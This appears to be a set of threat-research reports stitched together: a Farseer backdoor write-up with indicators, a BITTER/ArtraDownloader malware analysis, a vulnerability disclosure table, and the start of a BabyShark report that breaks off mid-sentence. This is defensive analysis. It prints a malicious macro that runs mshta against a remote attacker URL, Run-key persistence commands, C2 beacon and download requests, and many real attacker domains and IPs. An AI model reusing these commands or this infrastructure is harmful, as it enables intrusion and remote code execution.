Now that the actor has found a way to execute malicious code on the host, they use it to load their final payload, which contains the core functionality of the Farseer malware. The payload on disk is an encrypted and compressed file that most antivirus software will not flag as malicious since the underlying code is hidden. To avoid detection from users and blend with the Windows file system, the payload files themselves have innocuous or common Windows file names and extensions.   

Decompression and decryption of the payload occurs only at runtime, in-memory, and the in-memory code is altered to thwart forensic analysis. This is achieved by deconstructing the import address table (IAT) and resolving necessary API calls manually versus relying on the Windows loader.  In addition, it further avoids IAT reconstruction by using what is known as stolen code technique, wherein some of the instructions in the beginning of an API subroutine are emulated somewhere else in an allocated memory region.  This can cause unexpected results during memory analysis as the IAT API’s cannot be resolved.  We determined that the in-memory payloads are backdoors that beacon to a pre-configured command and control server (C2) for instructions.  

First, bscmake.exe runs and imports mspdb80.dll, one of its dependency files. Bscmake.exe is an older Microsoft executable that is part of Visual Studio. When mspdb80.dll is loaded, it will import its dependency files, one of which is sys.dll. It should be stated that both bscmake.exe and mspdb80.dll are known, trusted files signed by Microsoft Corporation and have not been modified. Sys.dll however is the Farseer malware and is responsible for loading the encrypted file stub.bin file in-memory and begins code execution.  

 

Figure 8 Sys.dll loading stub.bin 

 

Figure 8 illustrates the connection between sys.dll and stub.bin. When sys.dll is loaded it will look for stub.bin in the current working directory. 

C2 

The most recent Farseer sample (#1, as per Table 2 above) communicates with update.tcpdo[.]net over TCP port 158. The contents of the network communications are encoded, unlike the earlier Farseer samples that used no encoding, highlighting one of many changes in the evolution of this malware. Figure 10 below highlights some of the key differences between the three samples used in the analysis for this appendix section.  

Figure 9 Timeline for 3 Farseer samples in analysis; comparing notable differences  

Sample #2 (SHA256: 4AB41A025...) behaves almost identically as the others but with the following differences: 

  • Persistent VBS script renamed to common.vbs 
  • Encoded network communications 
  • Configuration file renamed to base.dat 
  • Encrypted and compressed configuration file 
  • Does not employ the use of any decoy documents  

This sample, seen in early April 2018, communicates with honor2020[.]ga, which started resolving to 199.247.25[.]110 in August 2018, according to Passive Total.  

Domain honor2020[.]ga bucks the trend when compared to others’ third-level domains, as per Table 1, above. From what we can tell, it has no such subdomains.  

Other Farseer samples fall into the same bucket as honor2020[.]ga. That is, they have no third-level domains, or don’t match the pattern of others, and they share no overlaps to existing infrastructure whether used by Farseer or other malware families. Examples include windowsnetwork[.]org and newfacebk[.]com. The latter does share one third-level domain with the others in Table 1 but that’s where the commonality ends. 

Reviewing the dozen or so domains resolving to 199.247.25[.]110, most also make use free ccTLDs from Freenom, including .tk and .ml as per the .ga in honor2020[.]ga. At this point, these domains and others resolving to this IP appear unrelated to Farseer, except for honor2020[.]ga that is connected to Farseer sample 4AB41A025.... It’s possible honor2020[.]ga was simply chosen during testing for this more recent Farseer sample but whatever the reason, it’s a change from the typically-used .com, .net and .org TLDs used by other samples.  

The final sample to discuss (9E08EFC73…) as per Table 2 above, is the oldest sample we have record of in AutoFocus, seen on April 19th, 2016. In this case, a decoy PDF file is dropped and executed from the victim’s %TEMP% folder as the malware continues to execute – a behavior not seen again in other Farseer samples. The PDF has filename “Dateline Irrawaddy “Corruption Is Still Rampant Despite The Anti-Corruption Law.pdf” and file properties as shown below, describing the language setting of the application that created it, together with the creation date – eight days prior to us seeing the sample. 

Language     : zh-CN 

Author       : Administrator 

Creator      : Microsoft® Word 2013 

Create Date  : 2016:04:11 11:06:30+08:00 

Modify Date  : 2016:04:11 11:06:30+08:00 

The content of the benign PDF (shown in Figure 10 below) appears to be a direct copy / paste from old content once posted on the Irrawaddy[.]com news website; their mission “to cover the news in Burma/Myanmar and Southeast Asia accurately and impartially.” From what we can tell, the article shown in the PDF was published on the news website sometime in early April 2016, and used as a timely and potentially very topical, social engineering theme for the attack. 

Figure 10 Decoy PDF dropped by earliest version of Farseer malware  

Whilst the decoy PDF is shown to the victim, Farseer continues with the execution process by first creating a Windows sub-folder within the victims C:\Users\[username]\AppData\Roaming folder and drops into it the files listed in Table 3 below.  

Filename  Size in bytes  File Type / Comment 
bscmake.exe  77,312  Application signed by Microsoft; used in DLL sideloading technique 
mspdb80.dll  193,024  Microsoft-signed file imported by bscmake.exe 
slmgr.vbs  260  Shell-executes bscmake.exe 
stub.bin  71,767  Encrypted in-memory payload 
sys.dat  297  Config file read by stub.bin 
sys.dll  85,504  Malicious DLL loaded by benign mspdb80.dll file. 

Table 3 Farseer dropped files  

 

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Indicators of Compromise: 

Samples: 

271e29fe8e23901184377ab5d0d12b40d485f8c404aef0bdcc4a4148ccbb1a1a 

4ab41a025624f342deb85d798c6d6264a9fb88b8b3d9037cf8d5248a9f730339 

8ff03c13d0a78003840b7a612e372242c7def123b4fbf5ea1780f2d70eb806a1 

5a461104a2b6e313d3d0ee08c26e90db965139b1bff4a785ec297047d570340c 

a999489d95e5a94f75de4695c9579ffc88bae02048838e3523f089d970a35abb 

0c7e35ca1312204063319a3455ec14bc4b701de205503e63de584f28d99f0291 

10bd4507eb12bebc17e216e16950bf77e56c2aad01be7033bf0d5c235f2ad6e5 

d44f388842d93807c0b56399c8b7eae5b3dd76871e4908ef3d7d8a559f014fe6 

24b52403ff652416c84afed7e12ece11dc59b07f7dba5f007e117a4cfc67c1ab 

8890a06d3233ecf661c040ca5c03393c3afd620ccce49fbe08477bbf6b7d9b04 

542b2ca4fe2d7d13fa317c58f46942cdf6eb33771bb898d7be773f8ccb50b13c 

b782b4c5f8fe2ee318e50ddf985c9132bff6d48b01ea36d6825967bf89e5d0c2 

c8b2232360d5d6f56cd6b1076e5e21f0d501f5cb725e0a9b32a0ab661b4c38dd 

b82caa5087c6fd8ac79019185c6f8884f5dd9d0266bb7ad635277f3c7ca5c615 

da02edf3f33d9801d066c1f93feef33cdedc1bc7b5605498404e8cad8015729f 

1e62b7dcb503f47a6330c4dcfc49ea9d921b7d2f8c508769d27df04e61b9471d 

0306585900f1b1bddc76149352f90962c365959e44a486ba3547c80d12d56e41 

1e46c88420c657c685786bee88f606d494f3d50bcbc616b0f64d2886edd572f2 

fd8bb808c7b16cffcb83d7e86d642b5cb6e913e22df69c8dd03ce4e7498f5fdc 

f46f162ef279cc6e9c022cffe3a6685d001524e312e7a5f23bd24d76fed1fa99 

6e367e10f9c0fb818394e9517ab13c1da00b2545602c23bf6ab83e93063076b8 

3d47b99d34e169a8283062937c373264829cf6fe1c7fa0bacee135c392ca24bb 

d11d871b07520f43437183fa44bd118c01a3c4c86cffe0cc7343ae9038565cf1 

2e84de3408283423ed58764139eed4dd7e343115b943b58a46e2dc25ca2ef3c8 

7d5386253d403b74e86658699f9a6d683b7ac3065c4e2cdae192b32b9ac54edb 

2085fca368af15a1bd54f7809dfee7cdd4d73df7af88fa53fe5341f0523ca7ea 

97c04702aaa0a9018cc46ea874e7e3644146ba4d6b3b30c78a6a6430172b13c7 

4552f70d94743206489da85da2e9eb9f1eb3ad017a42edb7a60edb69e5c15a32 

75ca95ae317b1e848d54bbb01798d5b61ebcaf4328b3940b5d5f644a01f1943a 

f169b8d93ea27ab6ae24c26eaecc039a838bd7e74aef18c1e7a953283c418c30 

c1e80458ae652dbf40981dfe33bf109d1b4c85d0affbd16c8d1df6be9e233e05 

9e08efc73dc9145358898d2735c5f31d45a2571663c7f4963abd217ae979c7ca 

C2s 

cdncool[.]com 

dns.cdncool[.]com 

outhmail[.]com 

up.outhmail[.]com 

tcpdo[.]net 

sony36[.]com 

md.sony36[.]com 

newfacebk[.]com 

app.newfacebk[.]com 

windowsnetwork[.]org 

update.newfacebk[.]com 

netvovo.windowsnetwork[.]org 

honor2020[.]ga 

update.tcpdo[.]net 

adminsysteminfo[.]com 

md5c[.]net 

linkdatax[.]com 

csip6[.]biz 

adminloader[.]com 

outhmail[.]com  

cdncool[.]com 

www3.mefound[.]com 

w3.changeip[.]org 

www5.zyns[.]com  

 

108.61.197[.]172 

175.45.192[.]234 

199.247.25[.]110 

208.115.125[.]43 

43.224.33[.]130 

45.125.33[.]219 

45.32.108[.]11 

45.32.159[.]168 

45.32.24[.]39 

45.32.25[.]107 

45.32.251[.]7 

45.32.44[.]52 

45.32.53[.]250 

45.76.92[.]113 

Farseer Decoy Docs 

06C091BB0630539DEC0D26EB6BFBF9108152E4C5AF27FF649CE84238CD88F81E - Dateline Irrawaddy “Corruption Is Still Rampant Despite The Anti-Corruption Law.pdf 

7F091DA89C4412D71AE583481F91A471751A3C0E8DB0037CF31FFD00F4245B5B –New Microsoft Word 文档.doc 

 

 

 

 

Multiple ArtraDownloader Variants Used by BITTER to Target Pakistan

Executive Summary

Since at least 2015, a suspected South Asian threat grouping known as BITTER has been targeting Pakistan and Chinese organizations using variants of a previously unreported downloader. We have named this malware family ArtraDownloader based on a PDB string discovered within the samples. We’ve observed three variants of this downloader with the earliest timestamp of February 2015.  This downloader has frequently been observed downloading the Remote Access Trojan (RAT) BitterRAT which is associated with BITTER threat operations.

Starting in September 2018 and continuing through the beginning of 2019, BITTER launched a wave of attacks targeting Pakistan and Saudi Arabia. This is the first reported instance of BITTER targeting Saudi Arabia. Details surrounding these attacks and the three ArtraDownloader variants observed are described below.

Activities

Between mid-September 2018 and January 2019, Unit 42 observed the ArtraDownloader used in the targeting of Pakistan and Saudi Arabian organizations. Several malicious documents have been identified, all communicating with likely compromised, legitimate Pakistan websites to retrieve the payload. These websites include those associated with the Pakistan government and other Pakistan organizations.

Beginning on Sep 12, 2018, we observed files with the following names hosted on the URL https://wforc[.]pk/js/.

  • Internet Data Traffic Report – August 2018.docx
  • PAF Webmail Security Report.doc.exe

The presumed spear phish targeted an employee of  an organization  in Saudi Arabia. The malicious file communicated with the C2 nethosttalk[.]com.

Around the same timeframe, two additional files (listed below) were observed being hosted on another Pakistan website. These executables, which had the following names, were hosted on the URL khurram.com[.]pk/js/drvn and communicated with the domain nethosttalk[.]com for C2.

  • Handling of Logistics.pdf[.]com
  • Cyber security work shop.pdf[.]com

Beginning on Nov 6, 2018, the URL http://rmmun.org[.]pk/svch was observed hosting two ArtraDownloader files that communicated with the domains info.viewworld71[.]com or hewle.kielsoservice[.]net.  The RMMUN, Roots Metropolitan Model United Nations, is an organized event that was held on November 8-11, 2018 which fosters collaboration and insights into issues such as human rights and economic development.

Between November 2018 and January 2019, an engineering and hydraulics company in Pakistan, almasoodgroup[.]com was observed hosting two AtraDownloader executables as well as a malicious document used to deliver a payload.  One of the files, Port Details.doc is an RTF document crafted to exploit the EQNEDT vulnerability CVE-2017-11882. This file downloaded a payload that also communicated with the domain hewle.kielsoservice[.]net. The other two files hosted on the engineering company’s domain communicated with command and control domain xiovo426[.]net.

On 2 Jan 19, the file article_amy.doc was also uploaded into VirusTotal. This document was hosted on almasoodgroup[.]com/js/cwqj and communicated with C2 domain thepandaservices.nsiagenthoster[.]net. The domain almasoodgroup[.]com appears to be a legitimate but compromised domain in this particular instance.

On December 17 and 18 2018, a file was downloaded from http://fst.gov[.]pk/images/winsvc (SHA256: ef0cb0a1…) after a user accessed the document cocktail and the dinner in the last week of dec.doc. We do not know how the user was initially enticed to execute this document. This payload is an instance of ArtraDownloader variant 1 exploits CVE-2017-11882 (EQNEDT). In this case it was observed using the command and control domain of hewle.kielsoservice[.]net/Engset.php.

Variant Comparison

In total, roughly 80 unique instances of the ArtraDownloader malware family have been discovered. Within these samples, 3 distinct variants are identified. These variants generally have minor changes between them, specifically as it pertains to string obfuscation, as well as HTTP requests.

The earliest sample identified belonging to ArtraDownloader has a compile timestamp of February 2015, which provides a rough outline as to how old this malware family is.

To date, Unit 42 has only observed this malware family downloading and executing instances of the RAT malware family associated with BITTER. A breakdown as to when each identified sample was compiled is as follows:

Figure 1 Timeline of ArtraDownloader variants based on compile timestamps

Overall, the ArtraDownloader malware family is not sophisticated, leveraging simple registry keys for persistence and HTTP requests to download and execute a remote file. Important strings within these samples are obfuscated by adding or subtracting from each byte within a string. This same obfuscation routine is used when sending data via HTTP.

Of interest, during this analysis we discovered infrastructure use overlap seen in a previously analyzed payload. In November 2017 we reported on malicious documents that were downloaded from the domain zmwardrobe[.]com and subsequently executed a payload referred to as MY24. This activity was observed through September and October 2017. In November 2017, we first observed ArtraDownloader querying the same domain; this continuing through February 2018. Both payloads were observed in InPage exploits.

For more information about the variants discovered and an in-depth analysis on each, please refer to the Appendix.

Conclusion

To date, the threat actor commonly referred to as BITTER continues to be active against various regions across the globe. They are observed targeting Pakistan, China, and Saudi Arabia using a customized downloader malware family named ArtraDownloader. This downloader, leveraging unique custom obfuscation routines downloads and executes the BitterRAT malware family via HTTP.

Multiple organizations have been affected or found to be hosting the malware used by BITTER, including the Pakistan government, an engineering company, and an electrical provider. We will continue to monitor this threat actor in the future. Palo Alto Networks customers are protected against this threat in the following ways:

  • All malware is appropriately classified as malicious in WildFire
  • Domains being used for communication by malware and URLs hosting malware are flagged as malicious
  • AutoFocus customers may use the BITTER, BITTERRAT, and ArtraDownloader tags for continued tracking of this threat.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Appendix

ArtraDownloader Malware Analysis – Variant 1

For the remainder of the analysis, the following file is used:

MD5 7cc0b212d1b8ceb808c250495d83bae4
SHA1 d2c161ce52240b61d632607a2262890327d82502
SHA256 ef0cb0a1a29bcdf2b36622f72734aec8d38326fc8f7270f78bd956e706a5fd57
Compile Timestamp 2018-12-06 11:14:45 UTC

Table 1 ArtraDownloader Variant 1 Sample

Upon execution, the sample will create and register a new window class with the following properties:

Window Name: seal

Class Name: SEAL

Upon receiving a WM_CREATE message in this newly created window class, it will execute a new function after 20 seconds via a call to SetTimer(). This function is responsible for actually downloading and executing a remote payload and will only be called at the end of the malware’s execution.

ArtraDownloader continues to collect the following information from the victim machine:

  • Computer name
  • Operating system
  • Username

Throughout the malware’s execution, various strings are encoded to avoid detection. The following Python code may be used to decode these strings:

def decode(data):

out = ""

for d in data:

out += chr(ord(d)-1)

return out

Example:

>> print(decode("ifxmf/ljfmtptfswjdf/ofu"))

>> hewle.kielsoservice[.]net

It then attempts to acquire the following folder paths. The first successfully identified folder will be used.

  • TEMPLATES
  • NETHOOD
  • APPDATA

The ctfmon.exe file is appended to this path, which will be the destination ArtraDownloader copies itself too in the event this file does not already exist.

The malware then attempts to acquire the following folder paths. The first successfully identified folder will be used.

  • NETHOOD
  • TEMPLATES
  • APPDATA

The perfc file is appended to this path, which will be the temporary destination the malware uses when downloading a remote file.

The downloader proceeds to identify the victim’s machine GUID via the HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid registry key. If this key is successfully queried, a string with the following data is formatted:

[Computer Name]##[Username]@@[Machine GUID]

Otherwise, the following string is generated:

[Computer Name]!@[Username]

This information will be used in subsequent network requests. In order to ensure persistence, the malware modifies the host’s registry to accomplish this. The following two keys are set:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\JITDfbug - "cmd /c start %Qrp% && exit"

HKCU\Environment\Qrp - [path]\ctfmon.exe

Where [path] is the previously chosen path where ArtraDownloader has copied itself. These two registry key modifications ensure that the malware executes every time the victim machine starts.

At this point in the malware’s execution flow, the previously discussed function that is executed on a 20 second timer will ultimately run. It will begin by making the following example POST request to the remote C2 server:

POST /Engset.php HTTP/1.0

Host: hewle.kielsoservice[.]net

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Content-length: 148

 

BCDEF=XJO.82GO2QF2BU9&MNOPQ=Xjoepxt!8!Vmujnbuf&GHIJ=Kpti!Hsvo{xfjh&UVWXYZ=XJO.82GO2QF2BU9$$Kpti!Hsvo{xfjhAA214cf8g5.cgc9.51gb.914d.f17ceg:e4cc7&st=0

In this request, the POST data is encoded using the same technique witnessed on the strings. Upon decoding them, we are presented with the following:

POST Variable Description Decoded Example
BCDEF Hostname WIN-71FN1PE1AT8
MNOPQ Microsoft Windows Version Windows 7 Ultimate
GHIJ Username Josh Grunzweig
UVWXYZ Previously created string used as a unique identifier for the victim WIN-71FN1PE1AT8##Josh Grunzweig@@103be7f4-bfb8-40fa-803c-e06bdf9d3bb6
st Boolean value indicating if previously downloaded file executed successfully. 0

Table 2 Decoded POST requests in ArtraDownloader Variant 1

The expected response is as follows, where ‘qbzmpbe’ is the example encoded executable name (decoded: ‘payload’) that will be downloaded and executed:

DFCB=DWN qbzmpbe<br>

After the expected response is returned by the remote C2 server, ArtraDownloader will make the following POST request:

The above example request is using the same unique identifier that was witnessed in the previous request’s UZWXYZ POST variable.

The remote C2 server expects the response to be of the following format:

exe[hex-encoded data]&lt

Where [hex-encoded data] is the hex-encoded payload binary. The raw response is written to the perfc file, such as in the following example from a mock C2 server:

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 28

Server: Werkzeug/0.12.2 Python/2.7.15

Date: Tue, 08 Jan 2019 18:46:23 GMT

 

exe68656c6c6f20776f726c64&lt

After this file is written, the malware proceeds to decode the hex-encoded data and writes this to the previously defined filename in the same path as perfc. In our example from earlier, since payload was provided as the filename, this particular payload would be written to payload.exe. Using our example from the mock server, this file would contain the string hello world.

At this stage, the malware proceeds to open this newly created executable in a new process via a call to ShellExecuteA().  Should this be successful, ArtraDownloader will make a subsequent HTTP request to /Engset.php with the same POST parameters. However, in this request, the st POST variable is set to 1.

ArtraDownloader Malware Analysis – Variant 2

For the remainder of the analysis, the following file is used:

MD5 8d42c01180be7588a2a68ad96dd0cf85
SHA1 89a7861acb7983ad712ae9206131c96454a1b3d8
SHA256 0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0
Compile Timestamp 2019-01-07 07:13:47 UTC
PDB String c:\Users\Asterix\Documents\Visual Studio 2008\Projects\28NovDwn\Release\28NovDwn.pdb

Table 3 ArtraDownloader Variant 2 Sample

Upon execution, the sample will create and register a new window class with the following properties:

Window Name: 28NovDwn

Class Name: MY28NOVDWN

The malware proceeds to decode a series of strings using a simple routine. The following Python script may be used to decode strings belonging to this cluster:

def decode(data):

out = ""

for d in data:

out += chr((ord(d)-3)&0xFF)

return out

>> print(decode(“iudphzrunvxssruw1qhw”))

>> frameworksupport[.]net

It proceeds to attempt to create the C:\intel\ directory, which is where various files will eventually be stored. It creates the following registry if it doesn’t already exist with the intent of persisting on the victim machine:

HKCU\Environment\AppId – c:\intel\msdtcv.exe

ArtraDownloader then sets the following registry key to ensure that the malware executes across reboots.

HKCU\Software\Microsoft\Windows\CurrentVersion\Run – cmd /c start %AppId% && exit

Additionally, in a separate thread, the malware will spawn a new process to copy itself to the C:\intel\msdtcv.exe path.

Various information about the victim machine is collected, including information about the operating system, the machine’s GUID, as well as the hostname. This information will ultimately be used to both identify the victim and provide general information about the infected host.

The following example GET request is made to the remote C2 server:

GET /ourtyaz/qwe.php?TIe=214cf8g5.cgc9.51gb.914d.f17ceg%3ae4cc7*XJO.82GO2QF2BU9*%3aACme%3b%217%2f2%2f8712%21Tfswjdf%21Qbdl%212 HTTP/1.1

Host: frameworksupport[.]net

Connection: close

In the example request above, the data supplied in the TIe GET variable is separated by a * and the remaining data is encoded by adding one to each byte. Decoding this string, we are presented with the following:

103be7f4-bfb8-40fa-803c-e06bdf9d3bb6*WIN-71FN1PE1AT8*9@Bld: 6.1.7601 Service Pack 1

The data above includes the machine’s GUID, the victim’s hostname, as well as information about the operating system. This particular GET request is looking for the AXE: identifier, as witnessed in the following C2 response:

HTTP/1.1 200 OK

X-Powered-By: PHP/5.6.36

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Nov 2018 22:27:56 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: close

 

AXE: #wscspl#

SIZE: ##

In this response, the data between the # is parsed, and a subsequent request is made. Should this information be present in the response, the malware will query the CSIDL_HISTORY folder, which represents the file system directory that serves as a common repository for Internet history items. This path has the string ZX appended to it, followed by the filename used in the HTTP response, which in our example was wscspl. An example of this is as follows:

C:\Users\[username]\AppData\Local\Microsoft\Windows\HistoryZXwscspl

The HTTP request for data that will be supplied to this newly formed file path is as follows:

GET /ergdfbd/wscspl HTTP/1.1

Host: frameworksupport[.]net

Connection: Close

The entire HTTP response is written to the previously described file path. ArtraDownloader will then parse this entire HTTP response’s POST data, extracting everything at offset 0x1 to a file path without the ZX characters, and with the .exe extension. Using our previous example, this file would be the following:

C:\Users\[username]\AppData\Local\Microsoft\Windows\Historywscspl.exe

The previously written file containing ZX in the path is removed. Finally, this file is executed in a new process. If this executable is spawned without errors, the malware will send the following example final HTTP request:

GET /ourtyaz/dwnack.php?cId=214cf8g5.cgc9.51gb.914d.f17ceg%3ae4cc7 HTTP/1.1

Host: frameworksupport[.]net

Connection: Close

ArtraDownloader Malware Analysis – Variant 3

For the remainder of the analysis, the following file is used:

MD5 a1bdb1889d960e424920e57366662a59
SHA1 177837d0fa5bfd274abe79d80a01cfe2374b4cd9
SHA256 f0ef4242cc6b8fa3728b61d2ce86ea934bd59f550de9167afbca0b0aaa3b2c22
Compile Timestamp 2018-07-30 09:18:37 UTC
PDB String d:\C++\new_downloader_aroundtheworld123\Release\audiodq.pdb

Table 4 ArtraDownloader Variant 3 Sample

Upon execution, the malware begins by decoding a series of strings via a simple decoding routine. The following Python script may be used to decode strings belonging to this cluster:

def decode(data):

out = ""

for d in data:

out += chr((ord(d)-13)&0xFF)

return out

 

>> print(decode(binascii.unhexlify("6E7F7C827B71817572847C7F79713E3F403B7B7281")))

>> aroundtheworld123[.]net

 

The malware proceeds to check to determine if the AVG security product is currently running on the system, however, this information does not appear to be used by ArtraDownloader. It is possible that this might have been a remnant of testing being performed by the malware author that was unintentionally left within the sample.

Various information about the system is collected by the malware and used in subsequent HTTP requests. After this information is collected, the following example HTTP GET request is performed:

GET ///healthne/accept.php?a=WIN-71FN1PE1AT8&b=WIN-71FN1PE1AT8&c=Windows%207%20Ultimate&d=Josh GrunzweigJosh Grunzweig103be7f4-bfb8-40fa-803c-e06bdf9d3bb6365536040965860&e= HTTP/1.1

Host: aroundtheworld123[.]net

Note that unlike other variants witnessed in this malware family, this particular variant does not obfuscate data being sent across the network. The following GET parameters are used within this request:

GET Variable Description
a Hostname
b Computer name
c Operating system version
d Unique string containing two instances of the victim’s username, the machine’s GUID, as well as various information queried via a call to GetSystemInfo()
e A variable that does not appear to be used within this particular sample

Table 5 GET Parameters Observed in ArtraDownloader Variant 3

An example response to this request can be seen below.

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 29

Date: Mon, 05 Nov 2018 19:22:56 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: Keep-Alive

 

Yes file58368[regdl]35No file

The response to this request is parsed, specifically attempting to identify the string Yes file. Should this string be present, the data between [ and ] is parsed. This data is used in a subsequent HTTP request made that will download a file from the remote server, as seen below:

GET /healthne/healthne/regdl HTTP/1.0

Host: aroundtheworld123[.]net

 

HTTP/1.0 200 OK

Last-Modified: Tue, 02 Oct 2018 04:38:28 GMT

Content-Type: application/octet-stream

Content-Length: 58368

Date: Mon, 05 Nov 2018 19:23:01 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: close

 

MZ......................[TRUNCATED]

This executable file is written to the same directory as the malware and uses the same name provided. As an example, should this malware originally be executed from C:\, the downloaded file would be written to C:\regdl.exe. Finally, this executable is run in a new process.

Indicators of Compromise

Please refer to the following link for a CSV file containing all relevant IOCs:

https://github.com/pan-unit42/iocs/tree/master/bitter

 

 

 

 

 

 

 

 

Unit 42 Vulnerability Research Team Discovers 23 New Vulnerabilities February 2019 Disclosures – Adobe and Microsoft

As part of Unit 42’s ongoing threat research, we can now disclose that Palo Alto Networks Unit 42 threat researchers have discovered 23 new vulnerabilities addressed by the Adobe Product Security Incident Response Team (PSIRT) as part of their February 2019 APSB19-07 security update release and 2 vulnerabilities addressed by the Microsoft Security Response Center (MSRC) as part of their February 2019 security update release.  Severity ratings ranged from Important to Critical for each of these vulnerabilities.

CVE Vulnerability Name or Category Impact Maximum Severity Rating Researcher(s)
CVE-2019-0625 Windows Jet Database Engine improperly handles objects in memory Remote Code Execution Important Bar Lahav and Gal De Leon

 

CVE-2019-0675 Microsoft Office Access Connectivity Engine improperly handles objects in memory Remote Code Execution Important Gal De Leon and Bar Lahav

 

CVE-2019-7025 Use After Free Arbitrary Code Execution Critical Gal De Leon
CVE-2019-7065 Out-of-Bounds Read Information Disclosure Important Bo Qu
CVE-2019-7066 Untrusted Pointer Dereference Arbitrary Code Execution Critical Bo Qu
CVE-2019-7068 Use After Free

 

Arbitrary Code Execution Critical Bo Qu
CVE-2019-7026 Use After Free Arbitrary Code Execution Critical Zhibin Zhang
CVE-2019-7027 Out-of-Bounds Write

 

Arbitrary Code Execution Critical Zhibin Zhang
CVE-2019-7028 Out-of-Bounds Read Information Disclosure Important Zhibin Zhang
CVE-2019-7082 Use After Free Arbitrary Code Execution Critical Zhibin Zhang
CVE-2019-7046 Untrusted Pointer Dereference Arbitrary Code Execution Critical Qi Deng
CVE-2019-7050 Use After Free

 

Arbitrary Code Execution Critical Qi Deng
CVE-2019-7051 Untrusted Pointer Dereference Arbitrary Code Execution Critical Qi Deng
CVE-2019-7083 Use After Free

 

Arbitrary Code Execution Critical Qi Deng
CVE-2019-7052 Out-of-Bounds Write Arbitrary Code Execution Critical

 

Hui Gao
CVE-2019-7053 Out-of-Bounds Read Information Disclosure

 

Important Hui Gao

 

CVE-2019-7054 Untrusted Pointer Dereference Arbitrary Code Execution Critical

 

Hui Gao
CVE-2019-7055 Out-of-Bounds Read

 

Information Disclosure

 

Important Zhaoyan Xu

 

CVE-2019-7056 Out-of-Bounds Read

 

Information Disclosure

 

Important Zhaoyan Xu

 

CVE-2019-7057 Out-of-Bounds Read

 

Information Disclosure

 

Important Zhaoyan Xu

 

CVE-2019-7058 Out-of-Bounds Read

 

Information Disclosure

 

Important Zhanglin He

 

CVE-2019-7059 Out-of-Bounds Read

 

Information Disclosure

 

Important Zhanglin He

 

CVE-2019-7060 Out-of-Bounds Write Arbitrary Code Execution Critical

 

Zhanglin He

 

Palo Alto Networks customers with a Threat Prevention Subscription who deploy our Next-Generation Security Platform are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Traps multi-layered exploit prevention capabilities. Threat prevention capabilities such as vulnerability protection with IPS and WildFire provide our customers with comprehensive protection and automatic updates against previously unknown threats.

Palo Alto Networks appreciates the recognition and credit Microsoft and Adobe has given our Unit 42 Threat Researchers. Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems with more than 200 critical vulnerabilities discovered. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.

New BabyShark Malware Targets U.S. National Security Think Tanks

In February 2019, Palo Alto Networks Unit 42 researchers identified spear phishing emails sent in November 2018 containing new malware that shares infrastructure with playbooks associated with North Korean campaigns. The spear phishing emails were written to appear as though they were sent from a nuclear security expert who currently works as a consultant for in the U.S. The emails were sent using a public email address with the expert’s name and had a subject referencing North Korea’s nuclear issues. The emails had a malicious Excel macro document attached, which when executed led to a new Microsoft Visual Basic (VB) script-based malware family which we are dubbing “BabyShark”.

BabyShark is a relatively new malware. The earliest sample we found from open source repositories and our internal data sets was seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator. Figure 1, below, shows the flow of execution.

Figure 1 BabyShark execution flow

Unit 42 was able to determine the phishing emails targeted at least:

  • A university in the U.S. which was to hold a conference about North Korea denuclearization issue at the time
  • A research institute based in the U.S. which serves as a think tank for national security issues, and where the previously referenced nuclear expert currently works.

Expanding our search to public repository samples, we identified additional malicious document samples delivering BabyShark. The original file names and decoy contents of these samples suggested that the threat actor might have interests in gathering intelligence related to not only North Korea, but possibly wider in the Northeast Asia region.

During the investigation, we were able to find links to other suspected North Korean activities in the past; KimJongRAT and STOLEN PENCIL.

Malicious Documents

BabyShark is a relatively new malware. The first sample we observed is from November 2018. The decoy contents of all malicious documents delivering BabyShark were written in English and were related to Northeast Asia’s regional security issues.

Figure 2 Timeline of BabyShark malicious documents and filename / decoys

While some decoys used content which is publicly available information on the internet, some used content which appears to not be public. Inspecting the metadata of the documents with this non-public content, we suspect that the threat actor likely compromised someone with access to private documents at a U.S. national security think tank.

Figure 3 Decoy content copied from the internet

Figure 4 Decoy content not publicly available on the internet (intentionally obfuscated)

The malicious documents contain a simple macro which would load the BabyShark’s first stage HTA at a remote location.

Sub AutoOpen()

Shell ("mshta https://tdalpacafarm[.]com/files/kr/contents/Vkggy0.hta")

End Sub

BabyShark Malware Analysis

Analyzed sample details:

SHA256 9d842c9c269345cd3b2a9ce7d338a03ffbf3765661f1ee6d5e178f40d409c3f8
Create Date 2018:12:31 02:40:00Z
Modify Date 2019:01:10 06:54:00Z
Filename Oct_Bld_full_view.docm

Table 1 Analyzed sample details

The sample is a Word document which contains a malicious macro loading BabyShark by executing the first stage HTA file at a remote location below:

https://tdalpacafarm[.]com/files/kr/contents/Vkggy0.hta

After successfully loading the first stage HTA, it sends out an HTTP GET request to another location on the same C2 server, then decodes the response content with the following decoder function.

Function Co00(c)

L=Len(c)

s=""

For jx=0 To d-1

For ix=0 To Int(L/d)-1

s=s&Mid(c,ix*d+jx+1,1)

Next

Next

s=s&Right(c,L-Int(L/d)*d)

Co00=s

End Function

The decoded BabyShark VB script first enables all future macros for Microsoft Word and Excel by adding the following registry keys:

